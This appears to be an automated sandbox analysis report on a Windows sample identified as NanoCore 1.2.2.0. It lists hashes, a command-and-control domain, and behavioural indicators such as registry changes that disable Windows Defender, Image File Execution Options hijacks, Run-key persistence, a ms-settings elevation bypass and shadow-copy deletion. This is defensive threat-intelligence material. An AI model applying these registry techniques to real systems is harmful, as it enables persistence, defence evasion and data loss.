Analysis
- user interaction
yes - max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 01:41
Behavioral task
behavioral1
Sample
xoilac-tv.design_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
48 signatures
150 seconds
Behavioral task
behavioral2
Sample
xoilac-tv.design_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
46 signatures
150 seconds
General
- Target xoilac-tv.design_chrome.exe
- Size 49KB
- Sample260930-b4b7easx5k
- SHA256 5eb051a186f9a9508eef3cbbbc8aac335822d8a52219cd7920d5b03e42ff6d4a
- MD5 7a0382ed594a61c332943ff0c5d2c3a5
- SHA1 87b765db3b27dfe82b89c53750de4daf24af09f1
- SHA512 42bb6f6de0263196d09db8d96fae933bb38fd11a9a30b710652cca42b98167d7ad1a9d40977438506e75e485abb72ce31d832abebfc060d0098cf87a1eb32dd3
- SSDEEP 768:mhTDb3uOriweukumSLjLm4u//o4zC1XXGblfA0/vKFcp:GTXu41kUzPuI4zEXGblf9/vucp
- TLSH T15C33E71477F98211E1BF4ABA8DB182119B31F8979C22D78D06D5058E1AB3B40DEE8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://xoilac-tv.design
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://xoilac-tv.design
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/1360-0-0x0000000000A20000-0x0000000000A32000-memory.dmp disable_win_def behavioral1/files/0x00070000000248d3-2279.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" xoilac-tv.design_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" xoilac-tv.design_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4092 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" xoilac-tv.design_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts xoilac-tv.design_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5448 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation xoilac-tv.design_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf xoilac-tv.design_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilac-tv.design_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf xoilac-tv.design_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5204 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe xoilac-tv.design_chrome.exe File created C:\Windows\system32\sysupdate.exe xoilac-tv.design_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe xoilac-tv.design_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 2668 wscript.exe 2772 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" xoilac-tv.design_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2780 sc.exe 2772 sc.exe 4436 sc.exe 3316 sc.exe 960 sc.exe 1812 sc.exe 4704 sc.exe 3732 sc.exe 4484 sc.exe 3368 sc.exe 5416 sc.exe 5492 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2068 cmd.exe 3552 cmd.exe 3872 cmd.exe 1312 cmd.exe 4696 cmd.exe 2200 cmd.exe 5024 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain xoilac-tv.design_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname xoilac-tv.design_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 116 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5252 ipconfig.exe 5236 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5220 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5176 vssadmin.exe 5264 vssadmin.exe 4584 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\Desktop\WallpaperStyle = "2" xoilac-tv.design_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\.pdf\ = "PDFBotnet" xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilac-tv.design_chrome.exe\" \"%1\"" xoilac-tv.design_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open xoilac-tv.design_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command xoilac-tv.design_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings xoilac-tv.design_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command\DelegateExecute xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell xoilac-tv.design_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command xoilac-tv.design_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings xoilac-tv.design_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open xoilac-tv.design_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open xoilac-tv.design_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\ms-settings\shell\open\command xoilac-tv.design_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5888 schtasks.exe 5936 schtasks.exe 2700 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2084 chrome.exe 2084 chrome.exe 4092 powershell.exe 4092 powershell.exe 4092 powershell.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe 1360 xoilac-tv.design_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1360 xoilac-tv.design_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4092 powershell.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeIncreaseQuotaPrivilege 4572 WMIC.exe Token: SeSecurityPrivilege 4572 WMIC.exe Token: SeTakeOwnershipPrivilege 4572 WMIC.exe Token: SeLoadDriverPrivilege 4572 WMIC.exe Token: SeSystemProfilePrivilege 4572 WMIC.exe Token: SeSystemtimePrivilege 4572 WMIC.exe Token: SeProfSingleProcessPrivilege 4572 WMIC.exe Token: SeIncBasePriorityPrivilege 4572 WMIC.exe Token: SeCreatePagefilePrivilege 4572 WMIC.exe Token: SeBackupPrivilege 4572 WMIC.exe Token: SeRestorePrivilege 4572 WMIC.exe Token: SeShutdownPrivilege 4572 WMIC.exe Token: SeDebugPrivilege 4572 WMIC.exe Token: SeSystemEnvironmentPrivilege 4572 WMIC.exe Token: SeRemoteShutdownPrivilege 4572 WMIC.exe Token: SeUndockPrivilege 4572 WMIC.exe Token: SeManageVolumePrivilege 4572 WMIC.exe Token: 33 4572 WMIC.exe Token: 34 4572 WMIC.exe Token: 35 4572 WMIC.exe Token: 36 4572 WMIC.exe Token: SeIncreaseQuotaPrivilege 4572 WMIC.exe Token: SeSecurityPrivilege 4572 WMIC.exe Token: SeTakeOwnershipPrivilege 4572 WMIC.exe Token: SeLoadDriverPrivilege 4572 WMIC.exe Token: SeSystemProfilePrivilege 4572 WMIC.exe Token: SeSystemtimePrivilege 4572 WMIC.exe Token: SeProfSingleProcessPrivilege 4572 WMIC.exe Token: SeIncBasePriorityPrivilege 4572 WMIC.exe Token: SeCreatePagefilePrivilege 4572 WMIC.exe Token: SeBackupPrivilege 4572 WMIC.exe Token: SeRestorePrivilege 4572 WMIC.exe Token: SeShutdownPrivilege 4572 WMIC.exe Token: SeDebugPrivilege 4572 WMIC.exe Token: SeSystemEnvironmentPrivilege 4572 WMIC.exe Token: SeRemoteShutdownPrivilege 4572 WMIC.exe Token: SeUndockPrivilege 4572 WMIC.exe Token: SeManageVolumePrivilege 4572 WMIC.exe Token: 33 4572 WMIC.exe Token: 34 4572 WMIC.exe Token: 35 4572 WMIC.exe Token: 36 4572 WMIC.exe Token: SeBackupPrivilege 4556 vssvc.exe Token: SeRestorePrivilege 4556 vssvc.exe Token: SeAuditPrivilege 4556 vssvc.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeDebugPrivilege 1360 xoilac-tv.design_chrome.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeShutdownPrivilege 2084 chrome.exe Token: SeCreatePagefilePrivilege 2084 chrome.exe Token: SeIncBasePriorityPrivilege 1360 xoilac-tv.design_chrome.exe Token: SeDebugPrivilege 5236 NETSTAT.EXE Token: SeDebugPrivilege 5640 whoami.exe Token: SeDebugPrivilege 5204 tasklist.exe Token: SeShutdownPrivilege 2084 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe 2084 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
